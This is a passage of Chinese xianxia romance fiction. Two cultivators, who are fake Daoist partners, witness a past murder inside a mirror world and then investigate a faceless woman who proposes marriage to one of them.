竟是落泪了吗?
周慈握紧手中的剑,警惕的望向那尊大佛,佛像流的眼泪越来越多,最后竟是沁出血来。
血泪滴落在地形成一朵朵妖冶的红莲,佛像的脸有了一丝裂痕。
浓郁的怨气从裂痕中探出,形成一股黑雾渐渐笼罩整个寺庙。
“把这颗丹药吃了。”
她倒出两枚丹药来,江敛没有丝毫犹豫就送进最终。
温和的气息让两人保持清明,黑雾中少女紧握他的手,片刻不敢放松。
感受着传来的温度江敛一愣,下意识的想要甩开,却又忍了下来。
牵他手了啊……
那是不是代表他的任务有所进展?
少年垂下眼睫,心里思绪翻涌,最终却归于平静。
周慈感受到四周罡风阵阵,凌厉的气息从她们身后袭来,
她扣紧对方的手腕将他扯到自己身后。
“专心。”
声音与剑相碰的声音同时响起,江敛回过神来,一朵合欢花从他手心飞出,漂浮在半空。
巴掌大的花朵在旋转,吸走黑色的浓雾。
雾散,佛像已毁。
只有那只眼睛还在凝望她们。
“夫人……”
身后传来幽幽声,周慈回过身一愣,立马放手,手心还残留不属于自己的温度。
她轻抿唇瓣,一双清凌凌的眼望向他,“抱歉,刚刚情况紧急。”
“为何要说抱歉。”
江敛直勾勾的盯着她的眼,一字一句道:“我们是道侣。”
可她们是假道侣。
周慈望着他没有将这句话说出,这件事情她们彼此都心知肚明。
若她失败,道心破碎与飞升无缘,更甚者会产生心魔;
同样,若敬之失败则会彻底失去飞升机会沦为凡人。
这场考验,她们都有不能输的理由。
沉默在两人间四散开来,她率先移开视线开口:“我们赶紧找出口出去吧。”
她们还要去救白芩。
不是在过去,是现在。
过去已无法改变,哪怕自己倾尽所有灵力都未将她救出;
现在,她不想再看着白芩死去。
就算她有疑惑,也要先出去了再说。
“敬之,你说你进入镜中世界后就出现在这里吗?”
“嗯,怎么了夫人?”
“可为何我们出现的地方不一样。”
周慈蹲下身看着那破碎的佛像,指尖划过碎片,若有神思道:“如果说我出现的那个地方是想让我们看见白芩与她的情郎。”
“那这个寺庙呢?”
“这个寺庙想让我们看见什么?”
江敛也蹲在她身边,看着这堆破碎的佛像,即便如此那双悲悯的眼却完整保留下来。
她拾起那片带着眼睛的碎片,指腹却摩挲到一片突起感。
周慈动作一顿,将碎片翻过来,上边带有血色划痕。
她抚摸过去,划痕杂乱无章,可血却渗进碎片。
向来神圣的佛像,此刻碎片却在她手心里不断散发黑气发出哀鸣。
周围的画面开始转变,破败的寺庙中,大佛垂怜世人,可身后却破了一个小洞。
“真他娘的邪门,沉猪笼都没让她死。”
白芩浑身湿漉漉的,衣摆还在往下滴水,此刻她正被两人扛着往野外走。
两人一路骂骂咧咧,多亏了自家媳妇儿去河边浣洗衣裳,碰见了爬上来的披头散发的女人。
可也把自己媳妇儿吓得够呛。
另一个人不满道:“怎么是我们两个来把她埋了。”
“行了行了,别发牢骚了,赶紧的,天还冷着。”
话音间他们扛着五花大绑的女人往野外走,直到一处破败的寺庙出现在他们面前。
“天太冷
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了,干脆就把她埋在这破庙里边,也不会有人发现。”
说出的话变成可见的雾气,另一人也点点头,将她扔在了寺庙里边。
“可这么明显,要是被人发现怎么办?”
那大汉在临走时有些踌躇,心里忐忑不安,若是被人发现……
“行了行了,把她拖过来。”
另一个男人满脸不耐烦,经过这一路的颠簸和挣脱铁笼,此时的白芩已然气若游丝。
周慈不知道他们要做什么,可也能看出来他们是想杀人灭口。
只是身边人这一次比她更快出手,她有些怔愣,“敬之,你……”
他轻笑道:“夫人想做的事,我定会竭尽全力去完成它。”
可惜再怎么磅礴的灵力却也无法将她救下。
她们只是看客,无法参与过去。
周慈紧抿唇瓣,她想要救白芩,在河里没救下,在这她想要对方活下去。
少女用灵力划破指尖,将一滴血珠抹在自己眉心的红痣。
红痣越加妖冶,竟隐隐有浮光流动。
她闭上眼一字一句道:“我愿承受这场因果,只求救下她。”
那个可怜,什么都没做错的女子。
发带悠悠飘落,落在地上沾上尘土变得污浊。
江敛被这忽然的灵力冲的往后退了几步,他微眯眼看着忽然灵力暴涨的人。
除了入魔,他想不出来还有和办法可以让灵力忽然暴涨。
可看她的模样却不是入魔。
所以……
有问题的是她那眉心的红痣。
或许是起了作用,整个世界忽然停顿一瞬,周慈死死咬住后槽牙,一丝鲜血控制不住的从唇角流下。
她回过身来,费力的勾了勾唇,“敬之,拜托了。”
发丝沾在她的脸颊,莹白的脸上沾染了红,显得她愈加脆弱。
江敛一愣,一双眼满是罕见的迷茫。
这还是她第一次对自己笑。
不过他却很快回过神来点点头,随即闪身来到那不知是死是活的女人身边。
他用灵力将女人托着,周慈提着的心终于放下一半,“你带着她赶紧跑。”
“跑远一些。”
江敛看着她愈加惨白的脸,眼里却是平静祥和,他指尖微动带上女人跑出寺庙。
“待我安置好她,就来找你。”
“好。”
她勾了勾唇,看着他越来越小的身影,周慈终于松下口气。
她快撑不住了……
少女的脊背逐渐弯下来,强行插手别人的因果,她也会招来反噬。
直到她彻底感受不到附近敬之的气息才收回灵力,整个人砸在地上,月牙白的衣裳沾染大片尘灰。
周慈双眼紧闭,整张脸都失去了血色,空气逐渐流动,时间再次恢复正常。
“你刚刚有没有……遭了,那女人呢!”
看着空旷的地,两人脸色铁青,随即连滚带爬的逃出寺庙。
嘴里还不停嚷嚷道:“有妖怪!有妖怪!”
地上的女孩已不省人事,脸颊处爬上几条红纹,身旁的乾坤袋动了动,一只妖兽从里边跑了出来。
小白贴着她的额头,暴乱的灵力逐渐被安抚回归于平静。
最后小兽打了个饱嗝,安然趴在她身边睡去。
12. 不经意的柔弱才惹人怜
江敛没有停下,将白芩随便扔到一个草堆处,又用干草遮盖一下就往寺庙跑。
那个蠢货坚持不了多久。
他临走时可是看见了对方唇角溢出的鲜血。
等他赶到时,就看见少女躺在地上已不省人事,而小兽早在察觉有人来时就躲进了乾坤袋。
江敛走上前居高临下的望着她,惨白的面容毫无血色,脸上的红纹早已褪去,他蹲下身来指尖轻轻触碰了一下她的脸蛋。
不像之前她牵自己的手那般温度了。
是凉的。
他不喜欢这样的温度。
少年垂眸,源源不断的灵力从他身上传出,将两人包裹,缠绕。
灵台传来的异样让他忍不住轻皱眉心,两股灵力相互缠绕融合,眼见女孩的面色逐渐红润才停下动作。
她不会死了……
江敛松了口气忍不住轻咳出声,眼底凉薄:这次耗费了他很多灵力,日后可得从她这讨回来才是。
少年扛起地上不省人事的人离开,身后那佛像的眼睛却死死的盯着她们。
待周慈醒来后便发现脑袋很晕,没忍住咳出声来,她检查了一下自身,却发现灵力竟没有亏空。
倒是灵台里的那朵花苞好似开了些。
“夫人,喝些水吧。”
她垂下眼睫,映入眼帘的是茶杯,再往上看是白皙修长的指。
周慈将水一饮而尽才感觉好了些,她起身打量周围,是杂草丛生的一处早已荒废的屋子。
“白芩呢?”
“我给她喂了颗丹药,现在还没有醒过来。”
她转身看见角落里被妥善安置的女人才松了口气。
还好,还好自己救下来了。
“夫人吃些东西吧。”
香甜的气味勾起她的馋虫,周慈尝到熟悉的味道舒服的眼睛都眯了起来,像是一只被顺毛的小猫。
江敛目光柔和的看着她,脸上的笑意未曾改变,只是面容苍白没有丝毫血色。
怎会有这么喜欢吃甜食的修仙者?
或许是他的视线太不加掩饰,周慈停下嘴里的动作,抬起头眼里还带着疑惑望向他。
脸颊鼓鼓的,眼睛水润润的,就这样专注的看着他。
他眼角微微扬起,声音清远动听:“没事,吃吧。”
周慈眨眨眼,缓慢的鼓动脸颊。
不知是不是自己的错觉,她总感觉敬之的脸色好像比平时还要惨白一些。
少年直勾勾的看着她,喉间发痒忍不住背过身用手抵住唇轻咳。
看见手心里的血他垂下眼眸不知在想些什么。
“敬之,你是不是出什么事了?”
身后传来担忧声,江敛将手收起来回过身子摇摇头笑道:“没有,还要尝些吗?”
“不要了。”
看着他没有血色的唇瓣,周慈依旧很担心,起身上前想要用灵力查一下他的身子。
“我真的没事。”
少年往后退一步,她心底愈加怀疑,目光落在垂在他身侧的手。
他将手往身后藏了藏,轻声道:“我去看看白芩怎么样了。”
说着江敛就要略过她往后边走去。
和她擦身而过的瞬间,周慈忽然拉住他的手腕,让他被迫停下脚步。
手心里的血迹毫不掩饰的就露在她的眼皮子底下,灵气顺着她的手心流向对方身体。
周慈微微瞪大眼睛,他的灵力怎会耗尽了?
“真的没事,白芩应该快醒了,我去看看。”
江敛将自己的手腕从她手中抽出,咳嗽声却没忍住从他唇间溢出。
“白芩等会儿再看,你的灵力空虚,现在身子很虚弱。”
周慈走到他面前,此刻面色沉重,“是不是因为给我渡灵力导致的?”
她早该想到的,怎么可能在使用那么多灵力后还如此充盈。
是她疏忽了。
愧疚如潮水般涌来,这已经是第二次了。
都是因为她。
“对不起。”
周慈紧抿唇瓣,忍住鼻尖的酸涩,她垂下头来源源不断的将灵力送进他的身体。
过了一会儿后,江敛捉住她的手腕轻叹口气有些无奈,“好了,已经够了。”
“不够。”
他的灵力还处于空虚状态,自己只输送了一点怎么会够。
“给我一颗丹药吧夫人。”
江敛打断她的动作,看向她的眼里似有闪烁的星子。
“那丹药不可多吃,会影响你日后的修炼进度。”
他将自己的手抽回直直的看着她,一字一句道:“夫人,我又没事,不要在耗费自己的灵力了。”
“这是你的灵力。”
周慈始终不愿抬头,只是一股脑的想要将属于他的灵力还给他。
“咳咳。”
“是不是还有哪里不舒服?”,听到咳嗽声她连忙抬起头来,面上满是担忧。
这下江敛终于看清,原本的眉目此刻染上一层淡淡的红,眼尾尤甚,眼底似有一层雾气浮动。
少年一怔,隔了许久才找到自己的声音:“夫人怎得还要哭了。”
他的声音里带着笑意,“像是我欺负你似的。”
周慈吸了吸鼻子,努力将眼泪憋了回去,只是鼻音还有些明显,“敬之,真的对不起。”
“下次你不要再给我输灵力了。”
这样至少他也不会像现在这样虚弱。
而且她感觉到心底浮现出一些不属于自己的情绪。
肯定是敬之太难受才会这样。
“我们灵力相融本就是彼此最好的补药,而且夫人还是第一次因为我哭。”
江敛像是发现了什么新鲜大陆,弯下腰左瞧瞧右瞧瞧她的脸蛋,一双桃花眼都弯了起来,有些迟疑道:“是因为心疼我吗?”
“是。”
但比起更多的是愧疚,她对敬之有愧。
听到她的回答,他脸上的笑容扩的更大了些。
啊……
心疼他了。
不经意间露出的柔弱才会更加惹人心怜,师姐说的果然没错。
那夫人应该有些心悦自己了吧。
看来他的任务很快就能完成了呢。
他耐声说道:“我真的没事,只是灵力虚空,后面会好的。”
“可是……”,周慈欲言又止,现在在她眼里敬之就是在强撑。
“白芩快醒来了,我去看看她。”
江敛抬手揉了揉她的脑袋,这一次女孩没有推开他。
在离开时他特意回过身来,眨了眨眼带上清浅的笑意,“夫人放心,这次
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我定然能为你束好发。”
周慈微微张唇下意识的想到了上次,要不还是……
算了吧。
可她还是没有张口脊背微弯,罢了,万一这次敬之的手艺真的有进步呢?
她跟上对方的脚步,蹲下身看着依旧没有五官的白芩陷入沉思。
总觉得有点像……
谁呢?
不过这一次她应该能好好生活了吧。
还没等她来得及松口气,地面却剧烈动荡,房梁整个坍塌下来,幸好她及时支起灵罩才避免。
熟悉的情况让她已经能熟练应对,可她不明白,明明已经救下白芩,为何这个世界依旧在重演。
破碎的佛像又重新高高坐在上方,慌忙跑掉的两人也在倒退,回到最初的原点。
而她基本耗尽灵力救的人,也回到了那破败的寺庙。
周慈紧握双手,一颗心不住地往下沉:果然过去无法改变吗?
“夫人……”
身边的声音有些小心翼翼,她回过头就撞进那双布满担忧的眼里。
周慈愣了愣摇摇头,“我没事。”
“行了行了,把她拖过来。”
另一人将女子拖行了一段距离,两人瞧见那佛像原本碎裂的小口被砸掉,变成一个足以容纳一个人的口子。
他们将白芩费力的塞进去,最后又进行一番掩饰才匆匆离开。
谁也不知,悲悯的佛像里藏了一个气若游丝的怀孕女子。
这就是想让她们看见的吗?
一次杀不死,便再来一次。
世界在坍塌变成一片片碎片,只有那双悲悯的眼让她在离开镜中世界时记住。
——她们出来了。
“周姐姐,你们终于醒了!”,她还没反应过来就被扑了个满怀。
周慈僵硬的拍了拍她后背,铜镜逐渐扩散出蜘蛛网般的裂痕最后碎裂在台上。
“现在什么时候了?”
她回过神来连忙问道,白灵松开双臂眼里泪汪汪的,“你和他都已经睡了一天啦,我来这里拿姐姐东西时就看见你们躺在这里,怎么喊都喊不醒。”
“一天了……那你姐姐!”,她猛地从床榻上坐起。
白灵笑了笑:“周姐姐放心,我姐姐已经回来了!”
回来了?
周慈坐起身才惊觉此时身边还躺了一个人,顺着看过去,是敬之。
白灵感受到她的目光微微扬唇:“因着他是周姐姐夫君,我就一起把他搬到这了。”
“好。”
“你姐姐是怎么回来的?”
她看着白灵的脸,不愿放过一丝表情,眉心轻蹙眼底还带着些怀疑。
“我去王家外边等了好久,可周姐姐怎么都没来,我听他们要把我姐姐丢到城外头的乱葬岗去,就悄悄跟上把姐姐捡回来啦。”,女孩笑脸盈盈,因激动导致脸颊微微泛红。
周慈没有说话,没人知道她在想些什么。
“我要赶紧回家给姐姐做饭了!周姐姐和你的夫君等会儿记得一起来哦。”,白灵站起身尾调微扬,蹦蹦跳跳的离开房间。
在离开时,她与白灵的眼睛相对,对方弯了弯眼眸随即关上了门。
她与敬之不是身进那铜镜之中吗?
可白灵为何说她们是晕倒在这间屋子。
13. 他脸好像又烫起来了
身边人悠悠转醒,看着有些熟悉的地方,他一时间没反应过来。
“敬之,你醒了。”
见状她连忙握住他的手腕又渡了些灵气,小心问道:“好些了吗?”
“好很多了。”
江敛点点头,他看着自己与少女之间的距离,脸上逐渐带上一层薄薄的粉。
“夫人,我们……”
他望着周慈欲语还休,耳尖都染上了红,双手紧紧拉住被子只露出一双眼睛在外边,活生生一副羞涩的模样。
看他这样子,周慈也愣了一下看起来有些呆,她眨眨眼垂头看看自己,又抬头看了看他,才反应过来他在想什么。
虽说话语间没有磕磕绊绊,但她后脖颈还是有些微微发烫,“这是白灵看我们两个都晕倒在地,就搬到一个床了。”
“嗯。”,他低低的应了句。
周慈看着他愈加红透的耳尖,不明白为何自己解释后敬之看起来更不对劲了。
难道是灵力透支的后遗症?
思及此她面色一凛,严肃道:“你是不是哪里不舒服?”
江敛顿了顿,有些不解,“嗯?”
“你脸看起来很红,是不是不舒服。”
她记得凡间有个说法:脸红是因为发热导致的。
发热就是生病。
所以敬之是生病了吗?
看着他越来越红的耳尖,甚至还带上了脸颊,她愈发坚定自己的猜测。
江敛还没从打击中缓过来,就察觉到自己的额头上传来温凉。
他瞧见女孩正一脸认真的看向自己:书上说凡间的母亲就是这样探孩子有没有发热的。
“果然发热了。”
感受手心传来的滚烫温度,她轻蹙眉心好像遇到了天大的难题。
没有人告诉她修仙之人若生病了该怎么做。
江敛的身子比他的思绪还要先反应过来,连忙往旁边挪了挪,躲开了她的手。
可自己的任务就是破她道心……
他深深的吸了口气,又强迫自己挪回去,捉住她的手腕放在自己的额头上。
带着些自暴自弃的意味。
不如干脆还是用恨破她道心算了。
江敛心中思绪万千,却怎么也说不出口。
周慈被忽如其来的情绪弄得有些不知所措,她下意识看向闭上眼,眼睫轻颤的少年。
是敬之的情绪。
好像这次敬之给她渡完灵力过后,自己对他的情绪就更加敏感。
“很难受吗?”
她放轻声音温声问道,少年的眼睫颤动的更加厉害。
看来是很难受了,连话都说不出来。
周慈下床榻想要找些热的茶水,可灰尘仆仆的就连杯子也没有。
也不知输送些灵力他会不会好一点。
她抓住他的手腕小心的输了点灵力,眼睛一直在盯着他的脸,“有没有觉得不舒服?”
“没有,好多了。”
周慈看着他的脸紧蹙眉心,可是心底那股无端的情绪在提醒她敬之还难受着。
“夫人以前也这样对别人吗?”
“嗯?”
她仔细回想了一下,好像敬之是自己修道这么久以来第一个遇到的生病之人。
于是摇摇头道:“不曾。”
听到这句话,江敛脸上荡起笑意。
耳尖的热意逐渐褪去,他将自己的手腕抽回坐起身,身上的衣裳带上些褶皱。
“你好些了吗?”
见她如此关心,江敛弯弯眉眼:看来这次的灵力没有白费。
“白灵让我们待会儿去她家用膳。”
他垂头正整理自己的衣裳,闻言抬起头来看向她,“那夫人想去吗?”
周慈点点头,低头在自己的乾坤袋里翻找,最后拿出一瓶丹药来。
“这丹药你吃了。”
她将一整瓶都递给对方,这丹药有洗髓的效果,应该可以让敬之好受一些。
江敛没有问,只是倒出一颗塞进口里,跟在她身后离开这间屋子。
只是他走到那棵树下时就停下脚步来,周慈转过身看向他,“敬之,怎么了?”
“白姑娘怕外男,我就在这等你就好。”,江敛朝她笑了笑,不再上前。
“可她说了让我们两个都去。”
“好。”
不过在敲门时,他还是站在了周慈身后,门很快被打开,白灵见到两人扬起大大的笑容。
“周姐姐,你们来了。”
她连忙倒了两杯水放到两人面前,将菜端上来后双手在衣裳上擦了擦,“我去带姐姐来。”
“好。”
周慈点点头,桌上有一盘油炸的小鱼干,香味不断勾引乾坤袋里的小兽。
她感受到小兽的兴奋心中了然,可这是别人的小鱼干。
周慈拍了拍乾坤袋,里边的小兽渐渐安静下来,她都能想到小白此刻是什么表情了。
想来也是,她好像有两天没喂小白小鱼干了。
思及此她带了些安抚的意味轻轻摸了摸自己的腰间。
江敛将这一切尽收眼底,脸上的笑意渐渐褪去:又在哄那只小畜生了。
用膳时周慈尝着嘴里的菜,可眼睛却一直在悄悄打量白灵身边的女人,依旧是没有五官。
“周姐姐,你们听说了吗,万花楼死人了。”
白灵无意间提了一嘴,一直在给身边人夹菜,“听说身上满是红疹呢,镇子上的人说是她不检点才死的。”,话语间还带着一丝可惜。
“是吗?叫什么名字?”
“不知道,好像是万花楼的花魁吧。”
她轻蹙眉,“那知道是怎么死的吗?”
“好像是顺着红绫从高处落下来时,红绫忽然断了就摔死了。”,白灵不甚在意道。
一直未出声的少年在听到这句话后垂下眼睫,遮住眼底的笑意。
他说了,对方可是将死之人。
就在此时白灵身边的人撑着桌子站起身,摸索着朝她走来。
她连忙上前扶住对方的手臂,疑惑的望向白灵。
女人拉过她的手,在她手心里写下‘谢谢’二字,周慈眨眨眼摇摇头,又想起对方看不见,便也拉着她的手在手心里写着什么。
她勾了勾唇角,轻轻摇摇头。
江敛从始至终没有抬眼,桌上的菜也未动半分,就连杯中的茶都未曾喝一口。
只是静静地坐在那一副与世无争的模样。
可就在这时他忽然抬起头来,就见着那张没有五官的脸正对准自己的方向。
少年脸上的笑意加深,垂下眼好似什么也没发生,安静的坐在周慈身边。
“周姐姐,姐姐说必须要感谢你,这是我自己做的香囊,想送给你当谢礼。”
白灵拿出一只绣着兰草的香囊,双手递到她面前眼神落向别处,脸颊红扑扑的,声音带着一丝窘
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迫,“这香囊有明目清心的效果,不是什么贵重玩意儿。”
“我很喜欢,多谢。”
周慈将香囊接过放在鼻尖轻嗅,夸赞道:“果真有清心的效果。”
见状白灵眨了眨眼,脸上绽放出笑意,眼里亮晶晶的,“周姐姐喜欢就好。”
她将香囊挂在自己的腰间,与乾坤袋一起,兰草栩栩如生。
“白姑娘知道镇子上有没有……大夫?”,周慈斟酌用语,应该是这样称呼的吧?
女孩一愣,神色慌张一双眼上下打量,急匆匆说道:“周姐姐是生病了吗?”
“不是我,是敬之。”
“噢。”
听见不是她身子不舒服,原本还焦急的人冷静下来面色如常。
“镇子西边有一间药堂,那里应该有大夫。”
“好,多谢,那我们就先走了。”
“路上小心哦周姐姐。”
白灵送她们出门,只是等她们走出一些距离在身后大声喊道:“周姐姐,近日镇子上好像有些不太平,你多加小心!”
听到声音周慈停下脚步朝她点点头,和身边人一起离开。
可是西边在哪?
周慈站在街头看着两边方向面色严肃,像是遇见什么天大的难题。
啊……
好难。
她忍不住轻轻叹口气,眉心紧蹙,最后抬脚准备往一边走。
“夫人这是要去哪?”
江敛连忙捉住她的手腕,周慈转过身看向他,“去找大夫。”
“我身子没有哪里不舒服。”
他轻声道,松开了捉住她手腕的手。
周慈眼里都写满了不信,“可你在万花楼时身子很烫,像是凡间所说的发热。”
江敛张张唇想要说些什么,最后深深叹了口气,“夫人,我那不是身子不舒服。”
她不说话,只是定定的看他。
“夫人还需多历练历练才好。”,少年并没有解释,只是对她耐声说道。
“而且……西边在那边。”,江敛朝她相反的方向指过去,眼里带上促狭的笑意。
周慈一愣,硬生生转了脚步朝他指的方向走,听到笑声她耳尖忍不住发烫。
“不过我们还是走这边吧,毕竟客栈在这边。”
江敛轻轻圈住她的手腕带上一些力,将她带回原来的那条路上。
周慈跟在他身边,忍不住嘟囔:“敬之,不然你还是帮我做一个罗盘吧,材料我去寻。”
“放心,我不会让夫人迷路的。”
听到这话她就知道,敬之看来是不会给她做了,等会儿还是问问师父有没有类似的东西吧。
周慈下意识的拍了拍自己的乾坤袋,隔着袋子她好像都能感觉到那毛茸茸。
好想摸摸小白。
“不过你的身子真的没事吗?”,她还是放不下心来。
“夫人放心,我真的没事,不信你摸摸看现在还热不热。”
他俯下身子凑近,一双潋滟的桃花眼直勾勾的盯着她看,合欢花的香味席卷她整个鼻腔。
听到这句话周慈抬手探了探他的额头,江敛身子猛地一颤,慌乱的往后退了好几步。
原本他只是随便说说,想来人来人往的街道上对方应该不会这样做,并且义正言辞的拒绝他。
谁承想……
少年死死咬住后槽牙,垂在身体两侧的手紧握:该死,他脸好像又烫起来了。
14. 郎君,你身上好香啊
周慈仔细感受一下刚刚一触即离的温度。
好像确实是不怎么烫了。
这样看来那颗丹药还挺管用的。
不过眼见对方脸又有些微红时,面露担忧,“要不还是再吃一颗丹药吧。”
毕竟她瞧着敬之现在好像又有些不舒服了。
想必是还没有好完全留下的后遗症。
江敛没有反驳,当着她的面拿出丹药服下,不断平复自己的呼吸。
直到感受到内心那股不属于自己的情绪逐渐消退,她才彻底放下心来。
应该是不难受了。
江敛走到她身边传音,“夫人,回客栈吧,我有话想对你说。”
他盯着她的眼,周慈顿了顿点头,“好。”
周围的叫卖声依旧此起彼伏,可还是有一句话穿过层层嘈杂声传到她耳边。
“姑娘,买张饼子吗?”
她停在小摊面前定定的看着老伯,不过一会儿轻勾唇角,“要一张,多谢老伯了。”
江敛抱着剑站到她身旁,眼底带上审视,指尖不断敲在剑鞘上。
女孩双手接过那张热乎乎的饼子,分了他一半便自顾自的垂头咬了下一口。
“夫人,这已经是你第三次买他的饼了。”
周慈动作一顿,随后恢复正常,垂下脑袋细嚼慢咽的吃掉最后一口饼,“因为老伯卖的饼挺好吃的。”
闻言江敛眸光闪烁却不再多问。
他可不信这么蹩脚的借口,临走时他回头深深的看了一眼依旧在卖饼的老伯。
若自己没记错,这已经是第三次了……
客栈下边喝茶的人依旧很多,他们口中在谈论最近发生的事,周慈眸光闪烁,从他们身边经过上了楼。
听到熟悉的话语,江敛似乎也察觉到了什么,抱着剑的双臂紧了紧跟在她身后离开。
临了江敛将门关上又布下一层隔绝灵罩才稍稍放下心来。
“敬之,你也察觉到了。”,见他这动作周慈肯定道。
“嗯,夫人,刚刚在白姑娘家时,我似乎听见了白芩的声音。”,后边的话他有些难以启齿,半天没有继续开口。
见他这幅样子,周慈放轻声音耐声道:“敬之,有什么话直说就好。”
她脑海中浮现起那张没有五官的脸,明明没有嘴舌,可敬之却听见了她的声音。
是如何做到的?
“夫人可是不信我?”
见她久久不说话,还以为是她怀疑自己话间的真实性,一时间少年的声音都低了下来,还带上几分委屈。
周慈连忙回过神来,声音里带着安抚的意味,“我自是信你的,只是刚刚在想事情。”
“所以白芩说了什么?”
“她让我娶她。”
此话一出,如平地一声惊雷,周慈一时间不知道该说些什么。
“夫人,夫人?”
江敛在一旁轻声喊道,她好不容易消化这个消息,只是看起来还有些愣愣的。
周慈回过神来点点头,随口问了句:“那你呢,你是怎么想的?”
“我既与你结为道侣,就不可能再和别人成亲。”
江敛顿了一下,面上笑意褪去,声音有些发紧,“难道夫人不是这样想的?”
敬之看起来又不高兴了。
她不明白这次又是为何,但依旧耐着性子温声道:“我只是在想她为何要你娶她。”
江敛抬手抿了一口清茶,慢条斯理道:“不论她目的为何,我们倒不如将计就计,夫人认为如何?”
“也好。”,怕他不放心,周慈又补充了句:“放心,我会在暗中护着你,你不会有事。”
听到这话他茶也不喝了,看向她的眼神里还带上几分无奈,肩膀也沉了下去,“夫人,我在你眼里到底是有多弱。”
见他这么说,周慈稍稍瞪大眼,慌乱解释道:“不是,是我怕你受伤。”
她不愿再见到敬之因为自己的原因受伤了。
所以这一次她定然会保护好对方。
“那我今夜便去寻那白芩。”
“好。”
谈话结束,两人陷入一阵沉默,周慈时不时地瞟向他,最终还是忍不住率先开口,“敬之,你还有什么事吗?”
江敛细细打量她的神色,看起来有些着急,他心下了然。
毕竟他已经闻到了那小畜生的味道了。
不过自己可没有再想待下去的想法,正愁该如何脱身,幸好对方也想让他离开。
江敛便顺着她的话说下去:“夫人,那我便先回房间准备了。”
“好。”
周慈点点头,在他转身时悄悄施了个术法印在他身后,直到术法微微闪烁她收到消息,指尖轻点,术法消散好似从未出现过。
回到屋子里的江敛察觉到自己身上传来一瞬的异样,脸上笑容愈深,可眼底却满是淡漠,指尖微微蜷缩,他看向窗外冒了枝芽的树杈。
周道友给他加了个术法啊……
是在监视自己吗?
既然如此,自己应当礼尚往来才是。
江敛手心浮现一小团灵体,和周慈无二般模样的灵体此刻正乖巧的蜷缩在他掌心安眠。
他将一道术法刻在灵体身上,正在喂小鱼干的少女忽感灵魂深处传来一阵颤栗动作一顿,
周慈用灵力仔仔细细的查遍全身,却没有发现异常。
她有些疑惑,小兽正双脚攀着她的手腕站起身去叼她手中的小鱼干。
难道是自己感受错了?
来来回回检查了两三遍,确定自己身体没什么事才稍稍放下心来,继续和毛茸茸的小兽贴贴。
“小白,你最近是不是长胖了?”
她抱起它仔细掂量了一下,好像确实重了不少啊。
周慈埋进它的毛里深深吸了口气,忍不住喟叹:“而且你变得更毛茸茸了,我好喜欢。”
小兽乖巧的蹭了蹭她的脸颊,尾巴垂在身后轻轻晃动。
在她不知道的时间里,自己的缩小版灵体被人拿在手中,眼睁睁看着那术法刻在它的身体里才露出温柔的笑意。
白日一点点被黑吞噬直到完全占据,江敛打开门就看见候在门外的人,他身子一愣连忙走上前。
语气里是掩饰不住的担忧,“夫人,怎么等在外边。”
“没事,我们走吧。”
周慈摇摇头不甚在意,往常都是敬之一直等她,这次她不想让对方再等自己了。
他走到少女身边,丝丝凉气从她身上传来。
“应该等的有一会儿了吧,夫人冷不冷?”,他关切的看向身边人。
“不冷。”
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他低声说了句,“可我却是不想夫人冷着,就算不会生病也会觉得不舒服。”
江敛从自己的乾坤袋中拿了一个手炉出来,抓着她的手将手炉放在她的手心,温热渐渐席卷了她的四肢。
周慈垂头看着这个手炉眨眨眼,抬头疑惑的看向他,“这个是……”
“是凡人用来冬日暖手的东西。”,他看穿了她想要问的问题,细心解释道。
“暖和吗?”
周慈看着这外圈毛绒绒的小手炉,没忍住摸了一下又一下,手感真的很好诶。
女孩眼睛逐渐亮起,像是找到了什么心爱之物,若不是此刻身边有人,而且这手炉是敬之的,她定是要放在脸颊边蹭一蹭的。
江敛将这一切尽收眼底,他好像又发现对方一个不为人知的小秘密。
喜欢毛茸茸。
那畜生就是靠着毛多才惹得她喜爱吗?
眼见着周慈都快要把脸贴上去不断蹭了,他轻咳一声,“夫人若喜欢,这手炉便赠予你。”
“可以吗?”
周慈抬起头眼睛亮晶晶的,还带着一些小期待和不确定。
他笑出了声,“自然,这本就是为你买的。”
“多谢敬之!”
看得出她肉眼可见的开心,手上的动作不停,江敛在一旁没有说话。
两人一路来到了那熟悉的地方,黑夜笼罩下,隐隐约约能瞧见那棵大树下的人影。
周慈在来之前便隐去身形,不过为了谨慎起见,她依旧在距离那棵树两百米的位置等候。
她拿出一只银色的小铃铛放到江敛手中,认真叮嘱:“若遇危险,便摇响这只铃铛,我会立即赶到你身边。”
“好。”
江敛将铃铛握在手中,衣袖掩盖住他的动作。
他独自走到那棵树下,等待已久的女人回过头来,依旧没有五官,可他却能感受到灼热的视线。
“白姑娘。”,他走上前轻轻点头。
“江公子,你来了。”
少年手心的铃铛微微发烫,声音顺着另一只铃铛传到周慈的耳中。
“我白日说的事你考虑的如何,江公子。”
妩媚娇柔的声音传到两人耳中,这是周慈第一次听见对方的声音,与她没有五官的脸形成鲜明对比。
他没有第一时间回答她的问题,只是说了句:“可我已有妻子。”
“无妨,我也可与你成亲后将她杀了,我便是你名正言顺的妻子。”
白芩上前一步靠近他,指尖在即将抚在少年胸口时他微微往后退了一步,那只手僵在半空。
他满脸不信,眼里带着怀疑,“我那夫人可是很厉害,你也知道她是修仙之人。”
“那又如何,只要等她一死,我与江郎君就是一对令人艳羡的鸳鸯了。”
“况且,我是真心喜欢郎君,想要嫁与郎君。”
女人不在乎的说道,那双臂说着就要攀住少年的脖颈。
江敛定定的看着她,一把握住她的手腕笑道:“好啊,那我们何时成亲,白姑娘。”
白芩一时间看着他那张脸忘了说辞。
“白姑娘?”
他面上笑意不变只是笑意从未达到眼底。
白芩深深吸了口气,空气中的香味让她双眼迷离,娇声道:“郎君,你身上好香啊。”
15. 这是道侣该做的
“是吗,那白姑娘可喜欢?”
江敛弯腰靠近她,一双眼里满是笑意,闻着越来越香的气息,她一时间忘记该说些什么。
“白姑娘,我们到底何时成婚。”
低哑的声音还带了些委屈,白芩直勾勾的盯着他的脸看,迷迷糊糊道:“明晚,明晚怎么样郎君?”
“好啊……不过我夫人……”
白芩安慰他道:“安心,明天她就会出镇子的。”
“可你不是说要杀了她吗?”
少年看起来有些不满,身子也直起离她远了些。
女人拉住他的手安抚道:“她毕竟是你夫人,我总不好赶尽杀绝,毕竟明日是你我大喜之日,不宜见血。”
“那你可得确定她不会来扰乱我们的大婚。”
江敛忍住想要抽回手的冲动轻声细语,只是脸上的笑意略带僵硬,而完全沉浸在他脸的女人此刻竟没有发现一丝不对劲。
周慈听到这有些怀疑,她倒有些好奇明日会如何让自己离开小镇?
她的指尖轻抚他的胸口,娇笑声传到两人耳中,“自然,郎君放心便好,明日子时你来娶我可好?”
